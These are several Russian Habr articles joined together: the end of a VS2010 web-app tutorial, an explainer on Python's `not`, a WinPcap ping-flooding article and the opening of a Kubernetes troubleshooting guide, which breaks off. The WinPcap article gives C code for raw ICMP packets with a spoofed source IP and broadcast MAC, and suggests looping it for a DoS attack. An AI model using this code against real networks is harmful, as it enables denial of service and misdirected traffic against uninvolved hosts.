> $.each(data.d, function(){
>
> parsed.push({data: this, value: this, result: this});
>
> });
>
>
>
> return parsed;
>
> }
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь стоит обратить внимание на функцию *queryParams* в стандартной поставке [Autocomplete](http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/ "autocomplete") не дает изменять свои параметры так. Для того чтоб этот код работал я чуть-чуть изменил этот plugin, конечно оставив возможность работы по умолчанию:
> `data: options.queryParams ? options.queryParams({
>
> q: lastWord(term),
>
> limit: options.max
>
> }) : $.extend({
>
> q: lastWord(term),
>
> limit: options.max
>
> }, extraParams),
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
так выглядит 348 строчка в нем, там где происходит Ajax запрос. Это сделано для совместимости с web services.
Подключаем Autocomplete:
> `var $name = $form.find('[name=name]')
>
> .autocomplete(
>
> 'Services/Customers.asmx/CompanyNames',
>
> $.extend(paramsAutocomplete, {name:'name'}));
>
>
>
> var $city = $form.find('[name=city]')
>
> .autocomplete(
>
> 'Services/Customers.asmx/Cities',
>
> $.extend(paramsAutocomplete, {name:'city'}));
>
>
>
> var $country = $form.find('[name=country]')
>
> .autocomplete(
>
> 'Services/Customers.asmx/Countries',
>
> $.extend(paramsAutocomplete, {name:'country'}));
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Собираем поля, которые будем отображать:
> `var $table = $result.find('table');
>
>
>
> var labels = (function(){
>
> var res = [];
>
> $table.find('thead th').each(function()
>
> {
>
> res.push($(this).attr('class'));
>
> });
>
> return res;
>
> })();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Далее мы должны настроить [DataTable](http://datatables.net/ "DataTable") для работы с нашим источником данных — web services.
> `var lastLength = 10;
>
>
>
> var dataTable = $table.dataTable({
>
> bProcessing: true,
>
> bServerSide: true,
>
> sPaginationType: 'full\_numbers',
>
> sAjaxSource: 'Services/Customers.asmx/Search',
>
> fnServerData: function ( sSource, aoData, fnCallback ) {
>
>
>
> // для поиска нужных параметров в aoData
>
> var findByLabel = function(o, name)
>
> {
>
> var res = null, find = false;
>
> $(o).each(function(){
>
> if(!find && this.name === name)
>
> {
>
> find = true;
>
> res = this.value;
>
> }
>
> });
>
> return res;
>
> };
>
>
>
> // конвертируем данные в понятный dataTable'у формат
>
> var convert = function(list)
>
> {
>
> var res = [];
>
>
>
> $(list).each(function(){
>
> var item = [];
>
> var row = this;
>
>
>
> $(labels).each(function()
>
> {
>
> item.push(row[this]);
>
> });
>
>
>
> res.push(item);
>
> });
>
> return res;
>
> };
>
>
>
> var onPage = aoData ? findByLabel(aoData, 'iDisplayLength') : lastLength;
>
> var start = aoData ? findByLabel(aoData, 'iDisplayStart') : 0;
>
> var sortField = aoData ? findByLabel(aoData, 'iSortCol\_0') : 0;
>
> var sortIsAsc = aoData ? findByLabel(aoData, 'sSortDir\_0') === 'asc' : true;
>
>
>
> lastLength = onPage;
>
>
>
> // загружаем данные и отправляем на прорисовку
>
> // забираем введенные данные с формы
>
> $.ajax( {
>
> url: sSource,
>
> data: $.toJSON({
>
> name: $name.val(),
>
> city: $city.val(),
>
> country: $country.val(),
>
> order: {
>
> Field: labels[sortField],
>
> Dir: sortIsAsc ? 'Ascending' : 'Descending'
>
> },
>
> start: start,
>
> onPage: onPage
>
> }),
>
> success: function(data){
>
>
>
> fnCallback({
>
> iTotalRecords: data.d.Count,
>
> iTotalDisplayRecords: data.d.Count,
>
> aaData: convert(data.d.List)
>
> });
>
> }
>
> } );
>
> }
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Была бы моя воля, я бы этот [DataTable](http://datatables.net/ "DataTable") совсем по другому написал. Слишком многих движений он требует для работы с ним, да и тяжеловат. Этот кусок кода мне не нравиться больше всего, очень громоздкий. [DataTable](http://datatables.net/ "DataTable") позволяет реализовать эту же функциональность с помощью своих внутренних механизмов, но код, как я предполагаю, получится ещё менее приятным.
Добавляем обработку submit к форме
> `$form.submit(function(){
>
>
>
> dataTable.fnDraw(true);
>
>
>
> return false;
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
С JS мы закончили. Первое на что можно обратить внимание в VS стало удобно работать с JS кодом. Больше нет прыжков с не понятными отступами, тормозов с валидацией кода. Наличие подсказок по функционалу jQuery и добавленные [Lint JS](http://www.codeproject.com/KB/macros/JSLintVS.aspx?msg=3351907#xx3351907xxGood "Lint JS") делают из VS один из лучших редакторов JavaScript кода.
### Web Services
Создаем web service Customers.asmx, разкомментируем [ScriptService], добавляем using System.Web.Script.Services;
создаем методы:
* string[] CompanyNames(string name)
* string[] Cities(string city)
* string[] Countries(string country)
* Result Search(string name, string city, string country, Sort order, int start, int onPage)
Добавляем необходимые атрибуты:
[WebMethod]
[ScriptMethod(ResponseFormat = ResponseFormat.Json)]
Они необходимы для работы в формате Json, он больше подходит для передачи текстовых данных в web по многим причинам: лаконичнее, проще читается, быстрее parse'тся.
Первые три метода наполняются однотипно, приведу пример только одного из них:
> `using (var context = new NorthwindEntities())
>
> {
>
> return context.Customers
>
> .Where(c => c.CompanyName.Contains(name))
>
> .Select(c => c.CompanyName)
>
> .Distinct()
>
> .OrderBy(n => n)
>
> .ToArray();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Открываем контекст, находим, отдаем то что от нас ждут. Linq to Entities превратит это в select и он материализуется только когда мы вызовем ToArray. Кстати, почему я использую именно ToArray. Причина в том что так проще будет заставить этот сервис работать под WCF. Т.к. массивы могут быть описаны в контрактах.
Поиск, сложнее:
> `[WebMethod]
>
> [ScriptMethod(ResponseFormat = ResponseFormat.Json)]
>
> public Result Search(string name, string city, string country, Sort order, int start, int onPage)
>
> {
>
> // проверяем есть ли поле по которому собрались сортировать
>
> if (order == null || !typeof(VS2010Lab.Customers).GetProperties().Any(f => f.Name == order.Field))
>
> order = new Sort {Field = "CompanyName", Dir = SortDirection.Ascending};
>
>
>
> using (var context = new NorthwindEntities())
>
> {
>
> // фильтруем
>
> var res = context.Customers
>
> .Where(c => string.IsNullOrEmpty(name) || c.CompanyName.Contains(name))
>
> .Where(c => string.IsNullOrEmpty(city) || c.City == city)
>
> .Where(c => string.IsNullOrEmpty(country) || c.Country == country)
>
> // сортируем
>
> .Order(order);
>
>
>
> // отдаем свой, специальный DTO
>
> return new Result
>
> {
>
> // общее количество для pagenator'а
>
> Count = res.Count(),
>
> List = res.Paginate(
>
> new ListFilter
>
> {
>
> Start = start,
>
> Count = onPage
>
> }
>
> ).ToArray()
>
> };
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
На что тут стоит обратить внимание: Order, Paginate. Их я описал как extension'ы для IQueryable:
> `public static IQueryable Order(this IQueryable query, Sort sort)
>
> {
>
> return sort.Dir == SortDirection.Ascending ?
>
> query.Order(sort.Field) :
>
> query.OrderDescending(sort.Field);
>
> }
>
>
>
> public static IQueryable Order(this IQueryable query, string name)
>
> {
>
> return query.ApplyOrder(name, "OrderBy");
>
> }
>
>
>
> public static IQueryable OrderDescending(this IQueryable query, string name)
>
> {
>
> return query.ApplyOrder(name, "OrderByDescending");
>
> }
>
>
>
> public static IQueryable Paginate(this IQueryable query, IListFilter filter)
>
> {
>
> return filter.Count > 0 ? query.Skip(filter.Start).Take(filter.Count) : query;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### Entity Framework 4
Создаем *ADO.NET Entity Data Model* (edmx), добавляем туда табличку Customers.
«Тыкаем» правой кнопкой мыши в белую область экрана нашей модели и выбираем *Add Code Generation Item*
И тут пользуемся ещё одной фичей VS 2010, загрузкой Online Template'а. открываем, выбираем *ADO.NET C# POCO Entity Generator,* вбиваем имя, например Northwind.tt, жмем *Add* )
Переходим в свойства модели (F4), выбираем:
* *Code Generaion Strategy* **None**
* *DDL Generation Template***Northwind.tt**
Теперь у нас есть набор Data Object (DO) и контекст работы с ними. И они не лежат вместе, как это было в EF3.5 )
[](http://savepic.ru/1136660.png)
*Voila! )*
Выводы
------
Не смотря на большой объем статьи я обхватил не так много, многое касается не только VS2010, но без неё этот проект был бы совсем другим )
Свою работу в VS я начал с версии 5, ещё студентом. Студия сильно с тех пор поменялась ) И я рад что внимание к улучшению качества и удобства работы программиста остается на должном уровне. А так же то что MS, надеюсь окончательно, повернулась лицом к web разработчикам. В [IE9](http://blogs.msdn.com/ieru/archive/2010/03/17/html5-ie9.aspx "IE9") объявлена поддержка [HTML5](http://apirocks.com/html5/html5.html "HTML5"), но это уже совсем другая история ).
То что я сознательно упустил из обзора, дабы не захламлять мелочами, можно посмотреть в [самом проекте](http://narod.ru/disk/20654677000/VS010Lab.zip.html).
ps: Если Вам понравилась статья, проголосуйте за нее, она [участвует в конкурсе](http://habrahabr.ru/special/microsoft/vs2010/review/13/#review) ) | https://habr.com/ru/post/93331/ | null | ru | null |
# Разбираемся с not в Python
> *Привет, Хабр. В преддверии старта курса* [*«Python Developer. Professional»*](https://otus.pw/3SAG/) *подготовили традиционный перевод полезного материала.
>
> Также приглашаем всех желающих посетить открытый вебинар на тему* [*«Визуализация данных с помощью matplotlib».*](https://otus.pw/ZUou/)
>
>
---
В этой статье из серии про [синтаксический сахар](https://snarky.ca/tag/syntactic-sugar/) в Python я займусь на первый взгляд очень простым синтаксисом, но на самом деле, чтобы разобраться в механике его работы, нужно погрузиться вглубь на несколько слоев. Мы будем говорить о `not`.
Определение звучит на первый взгляд очень просто:
[Оператор not](https://docs.python.org/3.8/reference/expressions.html#not) выдает True, если его аргумент False, и False в противоположном случае.
Достаточно просто, не так ли? Но когда вы начинаете разбираться в том, что считать «истинным» или «ложным», вы быстро понимаете, что есть приличное количество вещей, подходящих под эти определения.
(Как и в других статьях этой серии, код на С предназначен для тех, кто хочет пройти путь «по хлебным крошкам», но вы можете пропустить его, если хотите)
### Реализация not
Если вы посмотрите на байткод, то заметите единственный опкод, относящийся к `not` – это UNARY\_NOT.
*Байткод для* `not a`*:*
```
>>> import dis
>>> def spam(): not a
...
>>> dis.dis(spam)
1 0 LOAD_GLOBAL 0 (a)
2 UNARY_NOT
4 POP_TOP
6 LOAD_CONST 0 (None)
8 RETURN_VALUE
```
Реализация UNARY\_NOT по сути вызывает функцию С, [которая называется](https://github.com/python/cpython/blob/v3.8.3/Objects/object.c#L1444-L1470) `PyObject_IsTrue()` и возвращает обратное переданному значение: True для False, False для True.
[*Реализация опкода UNARY\_NOT из Python/ceval.c*](https://github.com/python/cpython/blob/6f8c8320e9eac9bc7a7f653b43506e75916ce8e8/Python/ceval.c#L1435-L1451)*:*
```
case TARGET(UNARY_NOT): {
PyObject *value = TOP();
int err = PyObject_IsTrue(value);
Py_DECREF(value);
if (err == 0) {
Py_INCREF(Py_True);
SET_TOP(Py_True);
DISPATCH();
}
else if (err > 0) {
Py_INCREF(Py_False);
SET_TOP(Py_False);
DISPATCH();
}
STACK_SHRINK(1);
goto error;
}
```
### Определение того, что такое True
Вся хитрость нашего разбора `not` начинается с определения того, что такое True. Если посмотреть на реализацию `PyObject_IsTrue()` на языке Си, станет видно, что существует несколько возможных способов выяснить истинность объекта.
[*Реализация PyObject\_IsTrue():*](https://github.com/python/cpython/blob/v3.8.3/Objects/object.c#L1444-L1470)
```
/* Test a value used as condition, e.g., in a for or if statement.
Return -1 if an error occurred */
int
PyObject_IsTrue(PyObject *v)
{
Py_ssize_t res;
if (v == Py_True)
return 1;
if (v == Py_False)
return 0;
if (v == Py_None)
return 0;
else if (v->ob_type->tp_as_number != NULL &&
v->ob_type->tp_as_number->nb_bool != NULL)
res = (*v->ob_type->tp_as_number->nb_bool)(v);
else if (v->ob_type->tp_as_mapping != NULL &&
v->ob_type->tp_as_mapping->mp_length != NULL)
res = (*v->ob_type->tp_as_mapping->mp_length)(v);
else if (v->ob_type->tp_as_sequence != NULL &&
v->ob_type->tp_as_sequence->sq_length != NULL)
res = (*v->ob_type->tp_as_sequence->sq_length)(v);
else
return 1;
/* if it is negative, it should be either -1 or -2 */
return (res > 0) ? 1 : Py_SAFE_DOWNCAST(res, Py_ssize_t, int);
}
```
Если разбираться в реализации на С, то правило выглядит так:
1. Если True, то True
2. Если False, то False
3. Если None, то False
4. То, что возвращает `bool`, до тех пор, пока возвращаемый объект является подклассом `bool` (то, что показывает вызов `nb_bool`)
5. Вызов `len()` на объекте (то, за что отвечают вызовы `mp_length` и `sq_length`):
1. Если больше 0, то True
2. В противном случае False
6. Если ничего из вышеперечисленного не подходит, то True
Все правила 1-3 и 6 достаточно понятны, а вот правила 4 и 5 требуют углубления в детали.
`bool`
Определение специального/волшебного [метода *bool*](https://docs.python.org/3.8/reference/datamodel.html#object.bool)говорит нам, что метод используется для «реализации проверки истинности значений» и должен возвращать либо True, либо False.
`len()`
Встроенная функция `len()` возвращает целое число, представляющее количество элементов в контейнере. Реализация вычисления длины объекта представлена слотами `sq_length` (длина последовательностей) и `mp_length` (длина словарей/мэпов).
Легко подумать, что к объекту можно просто обратиться и запросить его длину, но тут есть два слоя.
`len`
Первый слой – это [специальный/волшебный метод](https://docs.python.org/3.8/reference/datamodel.html#object.len) `len`. Как и следовало ожидать, он «должен возвращать длину объекта, целое число >= 0». Но дело в том, что «целочисленный» не означает `int`, а означает объект, который вы можете «преобразовать без потерь»… к «целочисленному объекту». И как же выполнить это преобразование?
`index`
*«*Чтобы без потерь преобразовать численный объект в целочисленный», используется специальный/волшебный метод `index`. В частности, для обработки преобразования [используется функция](https://github.com/python/cpython/blob/v3.8.3/Objects/abstract.c#L1260-L1302) `PyNumber_Index()`. Эта функция слишком длинная, чтобы ее сюда вставлять, но делает она следующее:
1. Если аргумент является экземпляром класса `int`, вернуть его
2. В противном случае вызвать `index` на объекте
3. Если `index` возвращает конкретный экземпляр класса `int`, вернуть его (технически возвращать подкласс не рекомендуется, но давайте оставим это в прошлом).
4. В противном случае вернуть `TypeError`*.*
На уровне Python это делается с помощью `operator.index()`. К сожалению, здесь [не реализуется семантика](https://bugs.python.org/issue17576) `PyNumber_Index()`, поэтому на самом деле с точки зрения `not` и `len`, функция работает немного неточно. Если бы она все же была реализована, то выглядела бы так:
*Реализация* `PyNumber_Index()` *на Python:*
```
def index(obj: Object, /) -> int:
"""Losslessly convert an object to an integer object.
If obj is an instance of int, return it directly. Otherwise call __index__()
and require it be a direct instance of int (raising TypeError if it isn't).
"""
# https://github.com/python/cpython/blob/v3.8.3/Objects/abstract.c#L1260-L1302
if isinstance(obj, int):
return obj
length_type = builtins.type(obj)
try:
__index__ = _mro_getattr(length_type, "__index__")
except AttributeError:
msg = (
f"{length_type!r} cannot be interpreted as an integer "
"(must be either a subclass of 'int' or have an __index__() method)"
)
raise TypeError(msg)
index = __index__(obj)
# Returning a subclass of int is deprecated in CPython.
if index.__class__ is int:
return index
else:
raise TypeError(
f"the __index__() method of {length_type!r} returned an object of "
f"type {builtins.type(index).__name__!r}, not 'int'"
)
```
### Реализация len()
Еще один интересный факт о реализации `len()`: она всегда возвращает конкретный `int`. Так, несмотря на то, что `index()` или `len()` могут возвращать подкласс, ее реализация на уровне С через `PyLong_FromSsize_t()` гарантирует, что всегда будет возвращаться конкретный экземпляр `int`.
В противном случае `len()`будет проверять, что возвращают `len()` и `index ()`, например, является ли возвращаемый объект подклассом `int`, больше ли значение или равно 0 и т.д. Таким образом, вы можете реализовать `len()` так:
```
def len(obj: Object, /) -> int:
"""Return the number of items in a container."""
# https://github.com/python/cpython/blob/v3.8.3/Python/bltinmodule.c#L1536-L1557
# https://github.com/python/cpython/blob/v3.8.3/Objects/abstract.c#L45-L63
# https://github.com/python/cpython/blob/v3.8.3/Objects/typeobject.c#L6184-L6209
type_ = builtins.type(obj)
try:
__len__ = _mro_getattr(type_, "__len__")
except AttributeError:
raise TypeError(f"type {type!r} does not have a __len__() method")
length = __len__(obj)
# Due to len() using PyObject_Size() (which returns Py_ssize_t),
# the returned value is always a direct instance of int via
# PyLong_FromSsize_t().
index = int(_index(length))
if index < 0:
raise ValueError("__len__() should return >= 0")
else:
return index
```
### Реализация operator.truth()
Во многих языках программирования при определении операции not, распространенной идиомой является превращение объекта в его сравнительное логическое значение с помощью передачи его в `not` дважды – через `not not`. Первый раз, чтобы получить инвертированное логическое значение, и второй раз, чтобы инвертировать инверсию, и получить логическое значение, которое вы хотели изначально.
В Python нам не нужна эта идиома. Спасибо `bool()` ([а конкретно](https://github.com/python/cpython/blob/v3.8.3/Objects/boolobject.c#L40-L56) `bool.new()`), за то, что у нас есть вызов функции, который мы можем использовать для получения конкретного логического значения, а именно `operator.truth()`. Если вы посмотрите на этот метод, то увидите, что он использует `PyObject_IsTrue()` для определения логического значения объекта. [Посмотрев](https://github.com/python/cpython/blob/v3.8.3/Objects/typeobject.c#L6346-L6397) `slot_nb_bool ()`, вы увидите, что в конечном итоге он делает то же, что и `PyObject_IsTrue()`. То есть, если мы можем реализовать аналог `PyObject_IsTrue()`, то можем определить, какое логическое значение имеет объект.
По старой схеме и с тем, что мы узнали только что, [мы можем реализовать](https://docs.python.org/3/library/operator.html#operator.truth) `operator.truth()` для этой логики (я предпочитаю не реализовывать `bool`, поскольку не хочу реализовывать все его численные функции, и не придумал хорошего способа сделать True и False с нуля, которые наследовались бы от 1 и 0 на чистом Python).
*Реализация* `operator.truth()`*:*
```
def truth(obj: Any, /) -> bool:
"""Return True if the object is true, False otherwise.
Analogous to calling bool().
"""
if obj is True:
return True
elif obj is False:
return False
elif obj is None:
return False
obj_type = type(obj)
try:
__bool__ = debuiltins._mro_getattr(obj_type, "__bool__")
except AttributeError:
# Only try calling len() if it makes sense.
try:
__len__ = debuiltins._mro_getattr(obj_type, "__len__")
except AttributeError:
# If all else fails...
return True
else:
return True if debuiltins.len(obj) > 0 else False
else:
boolean = __bool__(obj)
if isinstance(boolean, bool):
# Coerce into True or False.
return truth(boolean)
else:
raise TypeError(
f"expected a 'bool' from {obj_type.__name__}.__bool__(), "
f"not {type(boolean).__name__!r}"
)
```
### Реализация not
С реализованным оператором `operator.truth()`, реализовать `operator.not_()` – дело всего одной лямбды:
```
lambda a, /: False if truth(a) else True
```
Итоговый результат прост, но, чтобы добраться до него, нужно было проделать немало работы.
Как обычно, код из этой статьи можно найти [в моем проекте *desugar*](https://github.com/brettcannon/desugar).
---
> **Узнать подробнее о курсе** [**«Python Developer. Professional»**](https://otus.pw/3SAG/)**.**
>
> **Смотреть открытый вебинар на тему** [**«Визуализация данных с помощью matplotlib».**](https://otus.pw/ZUou/)
>
> | https://habr.com/ru/post/542474/ | null | ru | null |
# Ping-flooding атака с использованием WinPcap
ICMP протокол
=============
Протокол ICMP является одним из компонентов стека TCP/IP (Transmission Control Protocol/Internet Protocol — протокол управления передачей/протокол сети Internet), который компенсирует неспособность протокола IP гарантированно доставлять данные. Вместе с тем протокол ICMP не устраняет ненадежность передачи данных протоколом IP. Он лишь уведомляет отправителя данных о том, что при их доставке возникли проблемы.
На рисунке показано место протокола ICMP в модели TCP/IP.
Протокол ICMP является механизмом отправки сообщений об ошибках для протокола IP.
Если при доставке дейтаграммы происходит ошибка, протокол ICMP сообщает об этом отправителю дейтаграммы. Например, предположим, что PC1, показанный на следующем рисунке, посылает дейтаграмму PC4. Если соответствующий интерфейс маршрутизатора Вorder выходит из строя, этот маршрутизатор использует протокол ICMP для отправки PC1 сообщения о том, что доставка дейтаграммы оказалась невозможной. Протокол ICMP не устраняет возникшую в сети проблему.
Сообщения протокола ICMP доставляются с использованием протокола IP.
ICMP-сообщения инкапсулируются в дейтаграммы, точно так же, как и обычные данные, доставляемые по протоколу IP. В таблице показана инкапсуляция ICMP-пакета в поле данных IP-дейтаграммы. Заголовок фрейма может формироваться по протоколу локальной сети, такому, как Ethernet, или по протоколу распределенной сети, такому, например, как HDLC.
**Заголовок фрейма** Заголовок IP-дейтаграммы Заголовок протокола ICMP Данные протокола ICMP
**Заголовок фрейма** Заголовок IP-дейтаграммы Поле данных IP-дейтаграммы
**Заголовок фрейма** Поле данных IP-дейтаграммы
**Заголовок фрейма** Поле данных фрейма
Когда данные поступают на сетевой уровень, они инкапсулируются в дейтаграмму. После этого дейтаграмма и инкапсулированные в ней данные вновь инкапсулируются во фрейм на канальном уровне. Сообщения протокола ICMP содержат в заголовках свою собственную информацию. Однако эта информация вместе с данными протокола ICMP инкапсулируется в дейтаграмму и передается таким же образом, что и все остальные данные. Поэтому сообщения об ошибках также подвержены риску быть утерянными при передаче. Таким образом, может возникнуть ситуация, в которой сами сообщения об ошибках могут создать новые ошибки, что лишь усложнит ситуацию с затором в уже работающей со сбоями сети. По этой причине ошибки, созданные сообщениями ICMP, не генерируют свои собственные ICMP-сообщения. Следовательно, возможен случай, когда при доставке дейтаграммы происходит ошибка, но о ней не сообщается отправителю данных.
Бодание с WinpCap и отправка ping’ов
====================================
Все знают команду ping, которая предназначена для отправки эхо-запроса и получения эхо-ответа. Мы же решили, что системного ping’a нам мало и попытались реализовать свою программу ping.
Инструментом для реализации был компилятор С++ и библиотечка [WinPcap](http://www.winpcap.org). WinPcap — Низкоуровневая библиотека для взаимодействия с драйверами сетевых интерфейсов.
И так начинаем сборку ICMP-пакета.
Формат ICMP-пакета успешно был взят с [Wiki](http://ru.wikipedia.org/wiki/ICMP).
| Октет | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0—3 | Тип | Код | [Контрольная сумма](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%81%D1%83%D0%BC%D0%BC%D0%B0 "Контрольная сумма") |
| … | Данные (формат зависит от значений полей «Код» и «Тип») |
```
u_char packet[1514]; //собственно наш пакет
//MAC-адрес получателя
packet[0]=0x08;
packet[1]=0x00;
packet[2]=0x27;
packet[3]=0x4c;
packet[4]=0x18;
packet[5]=0xDA;
////MAC-адрес отправителя
packet[6]=0x08;
packet[7]=0x00;
packet[8]=0x27;
packet[9]=0xca;
packet[10]=0xb8;
packet[11]=0x44;
//Формирование IP-заголовка
packet[12]=0x08;
packet[13]=0x00;
packet[14]=0x45;
packet[15]=0x00;
//Длинна пакета
*(WORD *)&packet[16] = htons(1500);
packet[18]=0x11; //id
packet[19]=0x22;
packet[20]=0; //фрагментацию отключаем
packet[21]=0;
packet[22]=0x80; //ttl
packet[23]=1; //icmp
packet[24]=0; //контрольная сумма
packet[25]=0;
//От кого
packet[26]=192;
packet[27]=168;
packet[28]=1;
packet[29]=1;
//куда
packet[30]=192;
packet[31]=168;
packet[32]=1;
packet[33]=128;
chS=ComputeIPChecksum(&packet[14],20); //считаем контрольную сумму
printf("%x\n", chS);
*(WORD *)&packet[24] = chS;
//****************************************************
packet[34]=8; //icmp
packet[35]=0;
packet[36]=0x29; //csum
packet[37]=0x31;
packet[38]=0x11; //icmp
packet[39]=0x11;
packet[40]=0x22; //csum
packet[41]=0x22;
chS=ComputeIPChecksum(&packet[34],8);
printf("%x\n", chS);
for(i=42; i<1514; i++)
{
packet[i]= 'A';
}
//отправляем
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
1514 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
```
Результаты посмотрим на следующем рисунке.
Видим запрос и ответ. Все ОК.
**А что, если поставить левый MAC-адрес отправителя?
А что, если поставить левый IP-адрес отправителя?
А что, если MAC = FF-FF-FF-FF-FF-FF?**
Можно пойти на [Wiki](http://ru.wikipedia.org/wiki/ICMP) и увидеть следующее:
*ICMP-пакеты никогда не генерируются в ответ на IP-пакеты с широковещательным или групповым адресом, чтобы не вызывать перегрузку в сети (так называемый «широковещательный шторм»).*
Попробуем нарушить это правило. С машины с IP 192.168.1.2 будем отправлять ping на 192.168.1.3, при этом IP отправителя будет равен 192.168.1.1, а MAC отправителя FF-FF-FF-FF-FF-FF.
Оказалось, что мы заставили 192.168.1.3 отвечать 192.168.1.1, при том, что последний этого не хотел. Самое интересное, то, что это был широковещательный ping и он прошел!
Смотрим что на других машинах.
На других машинках мы ловим широковещательные запросы.
А раз так, то есть повод написать в программе while(1) и наслаждаться DOS-атакой.
**Список литературы:**
Одом У. — CISCO Официальное руководство по подготовке к сертификационным экзаменам CCENTCCNA ICND1 — 2010
[ru.wikipedia.org](http://ru.wikipedia.org) | https://habr.com/ru/post/157207/ | null | ru | null |
# Визуальное руководство по диагностике неисправностей в Kubernetes
***Прим. перев.**: Эта статья входит в состав опубликованных в свободном доступе материалов проекта [learnk8s](https://learnk8s.io/), обучающего работе с Kubernetes компании и индивидуальных администраторов. В ней Daniele Polencic, руководитель проекта, делится наглядной инструкцией о том, какие шаги стоит предпринимать в случае возникновения проблем общего характера у приложений, запущенных в кластере K8s.*
TL;DR: вот схема, которая поможет вам отладить deployment в Kubernetes:
[](https://habrastorage.org/webt/hs/ig/ik/hsigiknjaxdjpy8m0jaifwvy3s0.png)
*Блок-схема для поиска и исправления ошибок в кластере. В оригинале (на английском) она доступна в [PDF](https://learnk8s.io/a/troubleshooting-kubernetes.pdf) и [как изображение](https://habrastorage.org/webt/u3/mo/qv/u3moqv94rhagxo6hlq-feuawtyc.png).*
При развертывании приложения в Kubernetes обычно необходимо определить три компонента:
* **Deployment** — это некий рецепт по созданию копий приложения, называемых pod'ами;
* **Service** — внутренний балансировщик нагрузки, распределяющий трафик по pod'ам;
* **Ingress** — описание того, как трафик будет попадать из внешнего мира к Service'у.
Вот краткое графическое резюме:
1) В Kubernetes приложения получают трафик из внешнего мира через два слоя балансировщиков нагрузки: внутренний и внешний.
2) Внутренний балансировщик называется Service, внешний – Ingress.
3) Deployment создает pod'ы и следит за ними (они не создаются вручную).
Предположим, вы хотите развернуть простенькое приложение а-ля *Hello World*. YAML-конфигурация для него будет выглядеть следующим образом:
```
apiVersion: apps/v1
kind: Deployment # <<<
metadata:
name: my-deployment
labels:
track: canary
spec:
selector:
matchLabels:
any-name: my-app
template:
metadata:
labels:
any-name: my-app
spec:
containers:
- name: cont1
image: learnk8s/app:1.0.0
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service # <<<
metadata:
name: my-service
spec:
ports:
- port: 80
targetPort: 8080
selector:
name: app
---
apiVersion: networking.k8s.io/v1beta1
kind: Ingress # <<<
metadata:
name: my-ingress
spec:
rules:
- http:
paths:
- backend:
serviceName: app
servicePort: 80
path: /
```
Определение довольно длинное, и легко запутаться в том, как компоненты связаны друг с другом.
Например:
* Когда следует использовать порт 80, а когда — 8080?
* Следует ли создавать новый порт для каждого сервиса, чтобы они не конфликтовали?
* Имеют ли значения имена лейблов? Должны ли они быть одинаковыми везде?
Прежде чем сосредоточиться на отладке, давайте вспомним, как три компонента связаны друг с другом. Начнем с Deployment и Service.
Связь Deployment'а и Service'а
------------------------------
Вы удивитесь, но Deployment'ы и Service'ы никак не связаны. Вместо этого Service напрямую указывает на Pod'ы в обход Deployment'а.
Таким образом, нас интересует, как связаны друг с другом Pod'ы и Service'ы. Следует помнить три вещи:
1. Селектор (`selector`) у Service'а должен соответствовать хотя бы одному лейблу Pod'а.
2. `targetPort` должен совпадать с `containerPort` контейнера внутри Pod'а.
3. `port` Service'а может быть любым. Различные сервисы могут использовать один и тот же порт, поскольку у них разные IP-адреса.
Следующая схема представляет все вышеперечисленное в графической форме:
1) Представим, что сервис направляет трафик в некий pod:
2) При создании pod'а необходимо задать `containerPort` для каждого контейнера в pod'ах:
3) При создании сервиса необходимо указать `port` и `targetPort`. *Но через какой из них идет подключение к контейнеру?*
4) Через `targetPort`. Он должен совпадать с `containerPort`.
5) Допустим, в контейнере открыт порт 3000. Тогда значение `targetPort` должно быть таким же.
В YAML-файле лейблы и `ports` / `targetPort` должны совпадать:
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-deployment
labels:
track: canary
spec:
selector:
matchLabels:
any-name: my-app
template:
metadata:
labels: # <<<
any-name: my-app # <<<
spec:
containers:
- name: cont1
image: learnk8s/app:1.0.0
ports:
- containerPort: 8080 # <<<
---
apiVersion: v1
kind: Service
metadata:
name: my-service
spec:
ports:
- port: 80
targetPort: 8080 # <<<
selector: # <<<
any-name: my-app # <<<
```
*А как насчет лейбла `track: canary` в верхней части раздела Deployment? Должен ли он совпадать?*
Этот лейбл относится к развертыванию, и не используется сервисом для маршрутизации трафика. Другими словами, его можно удалить или присвоить другое значение.
*А что насчет селектора `matchLabels`?*
**Он всегда должен совпадать с лейблами Pod'а**, поскольку используется Deployment'ом для отслеживания pod'ов.
*Предположим, что вы внесли верные правки. Как их проверить?*
Проверить лейбл pod'ов можно следующей командой:
```
kubectl get pods --show-labels
```
Или, если pod'ы принадлежат нескольким приложениям:
```
kubectl get pods --selector any-name=my-app --show-labels
```
Где `any-name=my-app` — это лейбл `any-name: my-app`.
*Остались сложности?*
Можно подключиться к pod'у! Для этого надо использовать команду `port-forward` в kubectl. Она позволяет подключиться к сервису и проверить соединение.
```
kubectl port-forward service/ 3000:80
```
Здесь:
* `service/` — имя сервиса; в нашем случае это `my-service`;
* 3000 — порт, который требуется открыть на компьютере;
* 80 — порт, прописанный в поле `port` сервиса.
Если удалось установить соединение, значит настройки верны.
Если соединение установить не удалось, значит проблема с лейблами или порты не совпадают.
Связь Service'а и Ingress'а
---------------------------
